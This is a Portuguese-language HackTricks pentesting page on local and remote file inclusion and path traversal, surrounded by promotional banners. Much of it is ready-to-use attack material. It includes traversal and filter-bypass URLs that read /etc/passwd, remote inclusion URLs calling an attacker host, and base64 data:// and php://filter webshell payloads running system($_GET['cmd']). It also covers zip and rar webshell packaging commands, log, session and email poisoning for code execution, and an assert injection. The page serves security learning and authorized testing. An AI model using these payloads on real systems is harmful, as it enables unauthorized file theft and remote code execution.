34 KiB
Inclusão de Arquivos/Travessia de Caminho
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de cibersegurança? Quer ver sua empresa anunciada no HackTricks? ou quer ter acesso à versão mais recente do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Adquira o material oficial PEASS & HackTricks
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e repositório hacktricks-cloud.
Junte-se ao servidor HackenProof Discord para se comunicar com hackers experientes e caçadores de recompensas por bugs!
Insights de Hacking
Engaje-se com conteúdo que explora a emoção e os desafios do hacking
Notícias de Hacking em Tempo Real
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
Últimos Anúncios
Fique informado sobre os lançamentos de novas recompensas por bugs e atualizações importantes da plataforma
Junte-se a nós no Discord e comece a colaborar com os melhores hackers hoje mesmo!
Inclusão de Arquivos
Inclusão Remota de Arquivos (RFI): O arquivo é carregado de um servidor remoto (Melhor: Você pode escrever o código e o servidor o executará). Em php isso é desativado por padrão (allow_url_include).
Inclusão Local de Arquivos (LFI): O servidor carrega um arquivo local.
A vulnerabilidade ocorre quando o usuário pode controlar de alguma forma o arquivo que será carregado pelo servidor.
Funções PHP vulneráveis: require, require_once, include, include_once
Uma ferramenta interessante para explorar essa vulnerabilidade: https://github.com/kurobeats/fimap
Cego - Interessante - Arquivos LFI2RCE
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
Misturando várias listas LFI *nix e adicionando mais caminhos, criei esta:
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
Tente também mudar /
por \
Tente também adicionar ../../../../../
Uma lista que utiliza várias técnicas para encontrar o arquivo /etc/password (para verificar se a vulnerabilidade existe) pode ser encontrada aqui
Windows
Mesclando várias listas, criei:
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
Tente também mudar /
por \
Tente também remover C:/
e adicionar ../../../../../
Uma lista que utiliza várias técnicas para encontrar o arquivo /boot.ini (para verificar se a vulnerabilidade existe) pode ser encontrada aqui
OS X
Verifique a lista LFI de linux.
LFI básico e bypasses
Todos os exemplos são para Inclusão Local de Arquivos, mas também podem ser aplicados a Inclusão Remota de Arquivos (página=http://myserver.com/phpshellcode.txt\.
http://example.com/index.php?page=../../../etc/passwd
sequências de travessia removidas de forma não-recursiva
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Byte Nulo (%00)
Bypass para não acrescentar mais caracteres ao final da string fornecida (bypass de: $_GET['param']."php")
http://example.com/index.php?page=../../../etc/passwd%00
Esta é uma solução desde o PHP 5.4
Codificação
Você pode usar codificações não padrão como codificação dupla de URL (e outras):
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
De pasta existente
Talvez o back-end esteja verificando o caminho da pasta:
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
Identificando pastas em um servidor
Dependendo do código aplicativo / caracteres permitidos, pode ser possível explorar recursivamente o sistema de arquivos descobrindo pastas e não apenas arquivos. Para fazer isso:
- identifique a "profundidade" do seu diretório atual obtendo com sucesso
/etc/passwd
(se estiver em Linux):
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- tente adivinhar o nome de uma pasta no diretório atual adicionando o nome da pasta (aqui,
private
), e depois voltando para/etc/passwd
:
http://example.com/index.php?page=private/../../../../etc/passwd # we went deeper down one level, so we have to go 3+1=4 levels up to go back to /etc/passwd
- se a aplicação for vulnerável, podem ocorrer dois resultados diferentes para a solicitação:
- se você receber um erro / nenhum resultado, a pasta
private
não existe neste local - se você receber o conteúdo de
/etc/passwd
, você validou que realmente existe uma pastaprivate
no seu diretório atual - as pasta(s) que você descobriu usando esta técnica podem então ser exploradas para arquivos (usando um método clássico de LFI) ou para subdiretórios usando a mesma técnica recursivamente.
É possível adaptar esta técnica para encontrar diretórios em qualquer local no sistema de arquivos. Por exemplo, se, sob a mesma hipótese (diretório atual no nível 3 do sistema de arquivos) você quiser verificar se /var/www/
contém um diretório private
, use o seguinte payload:
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
A seguinte sequência de comandos permite a geração de payloads usando `sed` (1) como entrada para ferramentas de fuzzing de URL como `ffuf` (2):
$ sed 's_^_../../../var/www/_g' /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt | sed 's_$_/../../../etc/passwd_g' > payloads.txt
$ ffuf -u http://example.com/index.php?page=FUZZ -w payloads.txt -mr "root"
$ ffuf -u http://owasp.ctf.intigriti.io/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200 -e '.php~,.php.old,.php.bak,.php.swp,.php.sav,.php.save'
Claro, adapte esses payloads às suas necessidades em termos de profundidade/localização/lista de diretórios de entrada.
Path truncation
Burlar o acréscimo de mais caracteres no final da string fornecida (burla de: $_GET['param']."php")
In PHP: /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/.
Check if last 6 chars are passwd --> passwd/
Check if last 4 chars are ".php" --> shellcode.php/.
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
#With the next options, by trial and error, you have to discover how many "../" are needed to delete the appended string but not "/etc/passwd" (near 2027)
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
Sempre tente iniciar o caminho com um diretório falso (a/).
Essa vulnerabilidade foi corrigida no PHP 5.3.
Truques para burlar filtros
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
Inclusão Remota de Arquivos
Em php isso é desativado por padrão porque allow_url_include
está Off. Ele deve estar On para funcionar, e nesse caso você poderia incluir um arquivo PHP do seu servidor e obter RCE:
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
Se por algum motivo allow_url_include
estiver On, mas o PHP estiver filtrando o acesso a páginas web externas, de acordo com este post, você poderia usar, por exemplo, o protocolo de dados com base64 para decodificar um código PHP em b64 e obter RCE:
{% code overflow="wrap" %}
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
{% endcode %}
{% hint style="info" %}
No código anterior, o final +.txt
foi adicionado porque o atacante precisava de uma string que terminasse em .txt
, assim a string termina com isso e após o b64 decode essa parte retornará apenas lixo e o verdadeiro código PHP será incluído (e, portanto, executado).
{% endhint %}
Outro exemplo não utilizando o protocolo php://
seria:
{% code overflow="wrap" %}
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
Elemento Raiz em Python
Em python em um código como este:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
Se o usuário passar um caminho absoluto para file_name
, o caminho anterior é simplesmente removido:
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
É o comportamento pretendido de acordo com a documentação:
Se um componente for um caminho absoluto, todos os componentes anteriores são descartados e a junção continua a partir do componente do caminho absoluto.
Java Listar Diretórios
Parece que se você tem um Path Traversal em Java e você solicita um diretório em vez de um arquivo, uma listagem do diretório é retornada. Isso não acontecerá em outras linguagens (até onde eu sei).
Top 25 parâmetros
Aqui está uma lista dos 25 principais parâmetros que podem ser vulneráveis a vulnerabilidades de inclusão de arquivo local (LFI) (de link):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
LFI / RFI usando wrappers & protocolos PHP
php://filter
Os filtros PHP permitem realizar operações básicas de modificação nos dados antes de serem lidos ou escritos. Existem 5 categorias de filtros:
- Filtros de String:
string.rot13
string.toupper
string.tolower
string.strip_tags
: Remove tags dos dados (tudo entre os caracteres "<" e ">")- Note que este filtro desapareceu das versões modernas do PHP
- Filtros de Conversão
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode
convert.iconv.*
: Transforma para uma codificação diferente (convert.iconv.<input_enc>.<output_enc>
). Para obter a lista de todas as codificações suportadas, execute no console:iconv -l
{% hint style="warning" %}
Abusando do filtro de conversão convert.iconv.*
você pode gerar texto arbitrário, o que pode ser útil para escrever texto arbitrário ou fazer uma função como include processar texto arbitrário. Para mais informações, verifique LFI2RCE via filtros PHP.
{% endhint %}
- Filtros de Compressão
zlib.deflate
: Comprime o conteúdo (útil se estiver exfiltrando muitas informações)zlib.inflate
: Descomprime os dados- Filtros de Criptografia
mcrypt.*
: Obsoletomdecrypt.*
: Obsoleto- Outros Filtros
- Executando no PHP
var_dump(stream_get_filters());
você pode encontrar alguns filtros inesperados: consumed
dechunk
: reverte a codificação de fragmentação HTTPconvert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
{% hint style="warning" %} A parte "php://filter" não é sensível a maiúsculas e minúsculas {% endhint %}
php://fd
Este wrapper permite acessar descritores de arquivo que o processo tem aberto. Potencialmente útil para exfiltrar o conteúdo de arquivos abertos:
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
Você também pode usar php://stdin, php://stdout e php://stderr para acessar os descritores de arquivo 0, 1 e 2, respectivamente (não tenho certeza de como isso pode ser útil em um ataque)
zip:// e rar://
Faça upload de um arquivo Zip ou Rar com um PHPShell dentro e acesse-o.
Para poder abusar do protocolo rar, ele precisa ser especificamente ativado.
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Fato curioso: você pode acionar um XSS e contornar o Auditor do Chrome com: http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+
Observe que este protocolo é restrito pelas configurações do php allow_url_open
e allow_url_include
expect://
Expect deve estar ativado. Você pode executar código usando isso.
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
Especifique seu payload nos parâmetros POST
http://example.com/index.php?page=php://input
POST DATA: <?php system('id'); ?>
phar://
Um arquivo .phar
também pode ser usado para executar código PHP se a web estiver usando alguma função como include
para carregar o arquivo.
{% code title="create_phar.php" %}
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
{% endcode %}
E você pode compilar o phar
executando a seguinte linha:
php --define phar.readonly=0 create_path.php
Um arquivo chamado test.phar
será gerado, que você pode usar para abusar do LFI.
Se o LFI está apenas lendo o arquivo e não executando o código PHP dentro dele, por exemplo, usando funções como file_get_contents(), fopen(), file() ou file_exists(), md5_file(), filemtime() ou filesize(). Você pode tentar abusar de uma deserialização que ocorre ao ler um arquivo usando o protocolo phar.
Para mais informações, leia o seguinte post:
{% content-ref url="phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}
Mais protocolos
Confira mais protocolos possíveis para incluir aqui:
- php://memory e php://temp — Escrever na memória ou em um arquivo temporário (não tenho certeza de como isso pode ser útil em um ataque de inclusão de arquivo)
- file:// — Acessando sistema de arquivos local
- http:// — Acessando URLs HTTP(s)
- ftp:// — Acessando URLs FTP(s)
- zlib:// — Streams de Compressão
- glob:// — Encontrar caminhos que correspondam a um padrão (Não retorna nada imprimível, então não é realmente útil aqui)
- ssh2:// — Secure Shell 2
- ogg:// — Streams de Áudio (Não útil para ler arquivos arbitrários)
LFI via 'assert' do PHP
Se você encontrar um LFI difícil que parece estar filtrando strings de travessia como ".." e respondendo com algo como "Tentativa de hacking" ou "Boa tentativa!", um payload de injeção 'assert' pode funcionar.
Um payload como este:
' and die(show_source('/etc/passwd')) or '
irá explorar com sucesso o código PHP para um parâmetro "file" que se parece com isto:
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
Também é possível obter RCE em uma instrução "assert" vulnerável usando a função system():
' and die(system("whoami")) or '
Certifique-se de codificar as cargas úteis para URL antes de enviá-las.
Junte-se ao servidor HackenProof Discord para se comunicar com hackers experientes e caçadores de recompensas por bugs!
Insights de Hacking
Interaja com conteúdos que exploram a emoção e os desafios do hacking
Notícias de Hacking em Tempo Real
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
Últimos Anúncios
Fique informado com os lançamentos de novas recompensas por bugs e atualizações críticas da plataforma
Junte-se a nós no Discord e comece a colaborar com os melhores hackers hoje mesmo!
PHP Blind Path Traversal
{% hint style="warning" %}
Esta técnica é relevante em casos onde você controla o caminho do arquivo de uma função PHP que acessará um arquivo, mas você não verá o conteúdo do arquivo (como uma chamada simples para file()
), mas o conteúdo não é exibido.
{% endhint %}
Neste post incrível, é explicado como um blind path traversal pode ser abusado via filtro PHP para exfiltrar o conteúdo de um arquivo através de um oráculo de erro.
Em resumo, a técnica usa a codificação "UCS-4LE" para tornar o conteúdo de um arquivo tão grande que a função PHP que abre o arquivo acionará um erro.
Então, para vazar o primeiro caractere, o filtro dechunk
é usado junto com outros, como base64 ou rot13, e finalmente os filtros convert.iconv.UCS-4.UCS-4LE e convert.iconv.UTF16.UTF-16BE são usados para colocar outros caracteres no início e vazá-los.
Funções que podem ser vulneráveis: file_get_contents
, readfile
, finfo->file
, getimagesize
, md5_file
, sha1_file
, hash_file
, file
, parse_ini_file
, copy
, file_put_contents (apenas alvo de leitura com isso)
, stream_get_contents
, fgets
, fread
, fgetc
, fgetcsv
, fpassthru
, fputs
Para os detalhes técnicos, confira o post mencionado!
LFI2RCE
Inclusão Remota de Arquivo
Explicado anteriormente, siga este link.
Via arquivo de log do Apache/Nginx
Se o servidor Apache ou Nginx for vulnerável a LFI dentro da função include, você poderia tentar acessar /var/log/apache2/access.log
ou /var/log/nginx/access.log
, definir dentro do user agent ou dentro de um parâmetro GET um shell PHP como <?php system($_GET['c']); ?>
e incluir esse arquivo
{% hint style="warning" %} Note que se você usar aspas duplas para o shell em vez de aspas simples, as aspas duplas serão modificadas para a string "quote;", PHP lançará um erro e nada mais será executado.
Além disso, certifique-se de escrever corretamente a carga útil ou o PHP apresentará erro toda vez que tentar carregar o arquivo de log e você não terá uma segunda oportunidade. {% endhint %}
Isso também poderia ser feito em outros logs, mas tenha cuidado, o código dentro dos logs pode ser codificado para URL e isso poderia destruir o Shell. O cabeçalho de autorização "basic" contém "usuário:senha" em Base64 e é decodificado dentro dos logs. O PHPShell poderia ser inserido dentro deste cabeçalho.
Outros possíveis caminhos de logs:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Lista de fuzzing: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Via Email
Envie um email para uma conta interna (user@localhost) contendo seu payload PHP como <?php echo system($_REQUEST["cmd"]); ?>
e tente incluir no email do usuário com um caminho como /var/mail/<USERNAME>
ou /var/spool/mail/<USERNAME>
Via /proc/*/fd/*
- Faça upload de muitos shells (por exemplo: 100)
- Inclua http://example.com/index.php?page=/proc/$PID/fd/$FD, com $PID = PID do processo (pode ser forçado bruscamente) e $FD o descritor de arquivo (também pode ser forçado bruscamente)
Via /proc/self/environ
Como um arquivo de log, envie o payload no User-Agent, ele será refletido dentro do arquivo /proc/self/environ
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
Via upload
Se você pode fazer upload de um arquivo, basta injetar o payload de shell nele (exemplo: <?php system($_GET['c']); ?>
).
http://example.com/index.php?page=path/to/uploaded/file.png
Para manter o arquivo legível, é melhor injetar nos metadados das imagens/doc/pdf
Via upload de arquivo Zip
Faça o upload de um arquivo ZIP contendo um shell PHP comprimido e acesse:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
Via sessões PHP
Verifique se o website utiliza Sessão PHP (PHPSESSID)
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
Em PHP, essas sessões são armazenadas em arquivos /var/lib/php5/sess\[PHPSESSID]_
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
Defina o cookie para <?php system('cat /etc/passwd');?>
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
Use o LFI para incluir o arquivo de sessão PHP
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
Via ssh
Se o ssh estiver ativo, verifique qual usuário está sendo usado (/proc/self/status & /etc/passwd) e tente acessar <HOME>/.ssh/id_rsa
Via vsftpd logs
Os logs deste servidor FTP são armazenados em /var/log/vsftpd.log. Se você tem um LFI e pode acessar um servidor vsftpd exposto, você poderia tentar fazer login configurando o payload PHP no nome de usuário e depois acessar os logs usando o LFI.
Via filtro base64 do php (usando base64)
como mostrado neste artigo, o filtro base64 do PHP simplesmente ignora caracteres que não são base64. Você pode usar isso para contornar a verificação de extensão de arquivo: se você fornecer base64 que termina com ".php", ele simplesmente ignorará o "." e acrescentará "php" ao base64. Aqui está um exemplo de payload:
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Via filtros php (nenhum arquivo necessário)
Este writeup explica que você pode usar filtros php para gerar conteúdo arbitrário como saída. O que basicamente significa que você pode gerar código php arbitrário para o include sem precisar escrever em um arquivo.
{% content-ref url="lfi2rce-via-php-filters.md" %} lfi2rce-via-php-filters.md {% endcontent-ref %}
Via falha de segmentação
Envie um arquivo que será armazenado como temporário em /tmp
, depois, na mesma requisição, provoque uma falha de segmentação, e então o arquivo temporário não será excluído e você poderá procurá-lo.
{% content-ref url="lfi2rce-via-segmentation-fault.md" %} lfi2rce-via-segmentation-fault.md {% endcontent-ref %}
Via armazenamento temporário de arquivos do Nginx
Se você encontrou uma Inclusão Local de Arquivo e o Nginx está rodando na frente do PHP, você pode ser capaz de obter RCE com a seguinte técnica:
{% content-ref url="lfi2rce-via-nginx-temp-files.md" %} lfi2rce-via-nginx-temp-files.md {% endcontent-ref %}
Via PHP_SESSION_UPLOAD_PROGRESS
Se você encontrou uma Inclusão Local de Arquivo mesmo que você não tenha uma sessão e session.auto_start
esteja Off
. Se você fornecer o PHP_SESSION_UPLOAD_PROGRESS
em dados multipart POST, o PHP ativará a sessão para você. Você poderia abusar disso para obter RCE:
{% content-ref url="via-php_session_upload_progress.md" %} via-php_session_upload_progress.md {% endcontent-ref %}
Via uploads de arquivos temporários no Windows
Se você encontrou uma Inclusão Local de Arquivo e o servidor está rodando no Windows, você pode conseguir RCE:
{% content-ref url="lfi2rce-via-temp-file-uploads.md" %} lfi2rce-via-temp-file-uploads.md {% endcontent-ref %}
Via phpinfo() (file_uploads = on)
Se você encontrou uma Inclusão Local de Arquivo e um arquivo expondo phpinfo() com file_uploads = on, você pode conseguir RCE:
{% content-ref url="lfi2rce-via-phpinfo.md" %} lfi2rce-via-phpinfo.md {% endcontent-ref %}
Via compress.zlib + PHP_STREAM_PREFER_STUDIO
+ Divulgação de Caminho
Se você encontrou uma Inclusão Local de Arquivo e você pode exfiltrar o caminho do arquivo temporário MAS o servidor está verificando se o arquivo a ser incluído tem marcas PHP, você pode tentar burlar essa verificação com esta Condição de Corrida:
{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {% endcontent-ref %}
Via espera eterna + força bruta
Se você pode abusar do LFI para enviar arquivos temporários e fazer o servidor suspender a execução do PHP, você poderia então forçar bruta nomes de arquivos durante horas para encontrar o arquivo temporário:
{% content-ref url="lfi2rce-via-eternal-waiting.md" %} lfi2rce-via-eternal-waiting.md {% endcontent-ref %}
Para Erro Fatal
Se você incluir qualquer um dos arquivos /usr/bin/phar
, /usr/bin/phar7
, /usr/bin/phar.phar7
, /usr/bin/phar.phar
. (Você precisa incluir o mesmo duas vezes para provocar esse erro).
Não sei como isso pode ser útil, mas pode ser.
Mesmo que você cause um Erro Fatal PHP, arquivos temporários enviados são excluídos.
Referências
PayloadsAllTheThings
PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}
Junte-se ao servidor HackenProof Discord para se comunicar com hackers experientes e caçadores de recompensas por bugs!
Insights de Hacking
Engaje-se com conteúdo que explora a emoção e os desafios do hacking
Notícias de Hacking em Tempo Real
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
Últimos Anúncios
Fique informado com os mais novos lançamentos de recompensas por bugs e atualizações cruciais da plataforma
Junte-se a nós no Discord e comece a colaborar com os melhores hackers hoje!
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de cibersegurança? Quer ver sua empresa anunciada no HackTricks? ou quer ter acesso à versão mais recente do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
- Descubra The PEASS Family, nossa coleção de NFTs exclusivos
- Adquira o merchandising oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe suas dicas de hacking enviando PRs para o repositório hacktricks e repositório hacktricks-cloud.